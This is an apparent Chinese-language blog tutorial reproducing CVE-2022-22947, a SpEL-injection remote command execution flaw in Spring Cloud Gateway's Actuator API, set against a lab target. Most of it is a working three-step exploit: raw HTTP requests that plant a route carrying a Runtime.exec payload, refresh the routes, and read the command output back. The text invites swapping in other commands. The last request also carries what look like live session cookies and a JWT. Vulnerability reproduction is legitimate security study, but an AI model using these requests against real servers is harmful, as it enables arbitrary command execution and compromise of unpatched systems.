Spring boot命令执行 (CVE-2022-22947)漏洞复现和相关利用工具-编程知识

Spring boot命令执行 (CVE-2022-22947)漏洞复现和相关利用工具

名称: spring 命令执行 (CVE-2022-22947)

描述: Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。

影响版本：

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

‍

第一个数据包

打开靶场抓取请求的数据包

切换成POST模式，请求这个地址，提交内容如下：返回201即为成功

可以更换请求路径中的test为你自己的方法，也可以更换value值里面的id命令为其它执行命令

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.91.129:15001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}

第二个数据包

再请求这个路径：

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.91.129:15001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3123

‍

第三个数据包

再请求这个路径命令就会被执行。

GET /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.91.129:15001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Cookie: b-user-id=98bc3e19-a246-205e-df14-b0f6176e841d; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAxMzMzMTQxLCJlbWFpbCI6IiJ9.AlEzzqoZtAFFONBaJRMjjMEji7OJNLT8UxrAgbttBqc; sidebarStatus=0; JSESSIONID=6F5D2993DEE6FC179A1F71F6045DE7AA
If-None-Match: "3147526947+gzip"
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
Connection: close